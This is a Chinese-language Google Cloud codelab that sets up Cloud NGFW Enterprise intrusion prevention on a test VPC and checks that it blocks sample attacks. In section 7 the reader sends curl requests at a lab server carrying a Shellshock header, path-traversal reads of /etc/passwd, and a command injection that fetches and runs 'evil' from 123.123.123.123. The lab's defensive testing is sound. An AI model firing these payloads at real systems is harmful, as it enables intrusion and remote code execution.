Cloud NGFW Enterprise - 入侵防御服务(无 TLS 检查)

1. 简介

Cloud 下一代防火墙 (NGFW)

Cloud Next Generation Firewall 是一项完全分布式防火墙服务,具有高级保护功能、微分段和普遍覆盖功能,可保护您的 Google Cloud 工作负载免受内部和外部攻击。

Cloud NGFW 具有以下优势:

  • 分布式防火墙服务:Cloud NGFW 针对每个工作负载提供基于主机的有状态有状态强制执行,以实现零信任安全架构。
  • 简化的配置和部署:Cloud NGFW 实施可附加到资源层次结构节点的网络和分层防火墙政策。这些政策在 Google Cloud 资源层次结构中提供一致的防火墙体验。
  • 精细控制和微分段:防火墙政策与由 Identity and Access Management (IAM) 控制的标记相结合,可对虚拟私有云 (VPC) 网络和组织中的南北和东西流量(直到单个虚拟机)进行精细控制。

Cloud NGFW 可在以下层级中使用:

Cloud NGFW 企业版

Cloud NGFW Enterprise 向分布式 Google Cloud 防火墙结构添加了第 7 层 Intrusion Prevention Service (IPS)。支持 TLS 检查,以便检查 TLS 加密流量,但这不在此 Codelab 的范围内(请参阅使用 TLS 检查的 Cloud NGFW Enterprise Codelab)。

现在,您可以通过精细的控制功能部署可靠的第 7 层下一代防火墙 (NGFW) 检查功能,而无需对网络架构或路由配置进行任何更改。

要使用 IPS 激活和部署第 7 层防火墙控制,您需要执行以下任务:

  • 创建一组 Google Cloud 代管式可用区级防火墙端点。
  • (可选)创建 TLS 检查政策(此 Codelab 未介绍)
  • (可选)创建一个信任配置(未在此 Codelab 中介绍)
  • 将这些端点与您需要 Cloud NGFW Enterprise 服务的 Virtual Private Cloud (VPC) 网络相关联。
  • 对现有的防火墙政策和防火墙规则进行简单更改,指定各种流量路径的威胁防护配置文件。

网络防火墙政策

网络防火墙政策充当防火墙规则的容器。网络防火墙政策中定义的规则在与 VPC 网络关联之前不会在任何位置强制执行。每个 VPC 网络都可以有一项关联的网络防火墙政策。网络防火墙政策支持防火墙规则中由 IAM 管理的标记(或仅标记),这些标记取代了当前的网络标记,可用于为工作负载提供身份。

在各个网络之间共享网络防火墙政策并与 IAM 管理的标记集成,这可以极大地简化防火墙的配置和管理。

随着网络防火墙政策的引入,Google Cloud 的防火墙政策现在包含以下组成部分:

  1. 分层防火墙政策
  2. VPC 防火墙规则
  3. 网络防火墙政策(全球性区域性

资源层次结构中的组织和文件夹节点支持分层防火墙政策,而 VPC 防火墙规则和网络防火墙政策在 VPC 级别应用。VPC 防火墙规则与网络防火墙政策之间的一个巨大区别在于,VPC 防火墙规则只能应用于单个 VPC 网络,而网络防火墙政策可以关联到单个 VPC 或 VPC 组,同时还具有批量更新等其他优势。

最后,我们还有每个 VPC 网络自带的隐式防火墙规则

  • 操作为允许、目标为 0.0.0.0/0 的出站规则
  • 操作为拒绝的入站流量规则,来源为 0.0.0.0/0

默认情况下,强制执行序列如下图所示:

21b3bcabc469ffe.png

请注意,VPC 防火墙规则和全球网络防火墙政策之间的强制执行顺序可以调换。客户可以随时使用 gcloud 命令指定强制执行顺序。

IAM 管理的标记

网络防火墙政策规则中集成的标记是在 Google Cloud 资源层次结构的组织或项目级定义的键值对资源。顾名思义,此类标记包含一个 IAM 访问权限控制,该访问权限控制指定谁可以对标记执行什么操作。例如,通过 IAM 权限,您可以指定哪些主账号可以为标记分配值,哪些主账号可以将标记附加到资源。将标记应用于资源后,网络防火墙规则可以使用该标记来允许和拒绝流量。

标记遵循 Google Cloud 的继承资源模型,这意味着标记及其值会从其父级通过层次结构向下传递。因此,您可以在一个位置创建标记,然后在整个资源层次结构中的其他文件夹和项目使用标记。如需详细了解标记和访问权限限制,请访问此页面

标记不应与网络标记混淆。后者是可添加到 Compute Engine 实例的字符串;它们与实例相关联,并在实例停用时消失。VPC 防火墙规则可能包含网络标记,但由于它们不被视为云资源,因此不受 IAM 访问权限控制。

请注意,在本文中,标记与 IAM 管理的标记可互换使用。

构建内容

此 Codelab 需要单个项目并能够创建具有公共连接的 VPC 网络,并将演示 Cloud NGFW Enterprise 如何通过以下方式提供 IPS 功能:

  • 检查 VPC 内/子网内流 [东-西]
  • 检查来自互联网的入站流量 [南北]

将使用 5 元组(来源 IP、目标 IP、协议、来源端口、目标端口)和标记等 Cloud Firewall 匹配参数来选择要检查的流。此 Codelab 未包含 TLS 检查

52a0642ef8668ecf.png

网络防火墙政策规则库类似于下表:

优先级

方向

目标

来源

目标位置

操作

类型

100

出站

Quarantine_Tag

不限

不限

拒绝

必备应用

1000

入站

Server_Tag

健康检查范围

不限

允许

必备应用

2000

入站

不限

Identity-Aware Proxy 范围

不限

允许

必备应用

3000

入站

不限

地理位置、GCTI

不限

拒绝

标准

4000

出站

不限

不限

地理位置、GCTI

拒绝

标准

5000

出站

不限

不限

系统更新 FQDN

允许

标准

6000

入站

Server_Tag

10.0.0.0/24

不限

IPS

企业

7000

入站

Server_Tag

CloudNAT_IP

不限

IPS

企业

学习内容

所需条件

  • Google Cloud 项目
  • 具备部署实例和配置网络组件方面的知识
  • VPC 防火墙配置知识

2. 准备工作

创建/更新变量

此 Codelab 使用 $variables 辅助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中运行以下命令,根据需要替换括号内的信息(如果已设置所需项目,则跳过设置项目)。如果有多个资源(例如需要防火墙端点

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. 启用 API

启用 API(如果您尚未启用):

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW 企业安全配置文件和端点创建

由于创建 Cloud NGFW Enterprise Endpoint 大约需要 20 分钟,因此系统会先创建该端点,并在创建端点的同时并行进行基本设置。

创建安全配置文件和安全配置文件组:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

预期输出:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

确认已成功创建资源:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

预期输出:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

创建 Cloud NGFW Enterprise 端点:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

运行以下命令,确认正在创建端点(STATE:CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出(请注意,输出格式可能会因所使用的客户端而异):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

(可选)运行以下命令以获取更多详细信息:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

预期输出:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

端点创建过程大约需要 20 分钟。转到“基本设置”部分,并行创建所需的资源。

5. 基本设置

如果您希望手动创建基础资源,请继续阅读以下部分。

VPC 网络和子网

VPC 网络和子网

创建 VPC 网络和子网:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

创建 Cloud Router 路由器和 Cloud NAT 网关:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

实例

创建客户端和网络服务器实例:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

项目 级标记

根据需要向用户分配 tagAdmin 和/或 tagUser 权限:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

创建项目级标记键和值:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

将标记绑定到实例:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全球网络防火墙政策

创建全球网络防火墙政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

创建 Cloud Firewall 基本规则以拒绝来自被隔离实例(仅作为示例创建,不在此 Codelab 中使用)的流量,并允许来自健康检查身份感知代理范围的流量:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

创建 Cloud Firewall Standard 规则,以拒绝进出禁运国家/地区、已知的恶意 IP 和 ToR 退出节点的入站流量和出站流量;并且仅允许流向特定 FQDN 的出站流量以进行系统更新(仅作为示例创建,不在此 Codelab 中使用):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

创建 Cloud 防火墙规则,以允许来自特定范围的东西-西 / 子网内和南北 / 互联网流量(我们将更新这些规则以启用 Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

将网络防火墙政策与 VPC 网络相关联:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

外部 TCP/UDP 网络负载平衡器

预留外部 IP 地址并创建实例组和健康检查:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

创建后端服务和转发规则:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW 企业端点关联

如果需要,重新定义环境变量。

确认 Cloud Firewall Endpoint 已成功创建。仅在状态显示为 ACTIVE 时再继续(在创建期间,预期状态为 CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

预期输出(请注意,输出格式可能会因所使用的客户端而异):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

(可选)运行以下命令以获取更多详细信息:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

预期输出:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

将 Cloud NGFW Enterprise 端点与 VPC 网络关联:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

关联过程大约需要 10 分钟。仅在状态显示为 ACTIVE 时才继续(在创建过程中预期状态为 CREATING):

gcloud network-security firewall-endpoint-associations list

预期输出:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

(可选)运行以下命令以获取更多详细信息:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

预期输出:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW 企业检查规则

打开一个新标签页,通过 IAP 启动与客户端虚拟机的 SSH 连接(您需要在新标签页中重新定义变量):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

在 SSH 会话中定义 require 变量,并设置变量(确保值正确无误):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

将两个 IP 都设为 curl 以确认它们是否可访问:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

两个 curl 请求的预期结果:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

向内部服务器 IP(东-西 / VPC 内流量)发送示例攻击。Web 服务器应响应所有请求,确认不存在 L7 检查/预防:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

通过 Cloud NAT(南北入站流量)向外部服务器 IP 重新发送示例攻击,同样,Web 服务器应响应所有请求:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

公共和专用 IP 的预期结果:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

切换回 Cloud Shell 并更新现有入站流量规则,以启用 L7 检查:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

(可选)描述防火墙规则,以验证两个规则是否都已成功更新:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

预期输出:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

规则 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

预期输出:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

切换回客户端虚拟机,并将示例攻击重新发送到内部服务器 IP(东-西 / VPC 内检查):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

通过 Cloud NAT(南北入站检查)将示例攻击重新发送到外部服务器 IP:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

根据下面的预期输出,没有收到针对首次攻击的响应,这表明高严重级别的攻击现已被阻止。

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

导航至网络安全 >Cloud 控制台上的威胁,用于验证日志(如果攻击尚未显示,您可能需要刷新几次)。

daa535fcc34873aa.png

选择其中一种攻击,然后点击“查看审核日志”(在新标签页中打开,可轻松切换回旧版)。展开攻击以显示详细信息:

5f97cdef79e42eff

(可选)将日志浏览器过滤器替换为下面的查询:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

威胁日志条目应如下所示:

5ea9581a7eb694c5

您可以使用下面的“日志浏览器”过滤器验证 Cloud Firewall 拦截的数据包(有助于排查问题):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

继续前往互联网流量检查页面(可选),或关闭 SSH 会话并进入下一章,执行清理步骤。

[可选] 互联网流量检查

如上一部分所述,到目前为止所检查的流分别是子网内/VPC 内(东西)和来自互联网的入站流量(南北入站)。您还可以使用 Cloud Shell 创建新的出站规则,将 Cloud NGFW Enterprise 配置为检查所有互联网流量(南北出站流量):

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

切换回客户端虚拟机,并向外部服务器 IP 重新发送严重级别为“高”的攻击:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

预期输出:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

切换到 Cloud 控制台中的“威胁”标签页以验证日志(您可能需要刷新几次)。攻击应该已再次识别并记录,但现在来源 IP 是内部 IP,因为先触发了出站规则:

36f8edf264dcddcd.png

关闭 SSH 会话,然后继续执行下一部分中的清理步骤

8. 清理步骤

Cloud NGFW Enterprise 组件清理

列出现有的 Cloud NGFW Enterprise 关联:

gcloud network-security firewall-endpoint-associations list

删除 Cloud NGFW Enterprise 关联:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

列出现有 Cloud NGFW Enterprise 端点:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

删除 Cloud NGFW Enterprise 端点,这可能需要大约 20 分钟的时间:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

运行以下命令,确认已删除 Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

删除安全配置文件组和威胁防护配置文件:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

基本设置清理

如果您希望删除基础资源,请继续执行下一步。

根据需要定义环境变量。在 Cloud Shell 中,删除网络负载平衡器组件:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

移除实例:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

(可选)如果 tagAdmin 和 tagUsers 角色发生更改,请执行以下步骤:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除标记键和值:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

删除 Cloud Firewall 网络政策和关联:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

删除 Cloud Router 和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

删除预留的 IP 地址:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

最后,删除子网和 VPC 网络:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. 恭喜!

恭喜,您已成功完成“Cloud NGFW Enterprise for East-West and North-South Inspection”Codelab。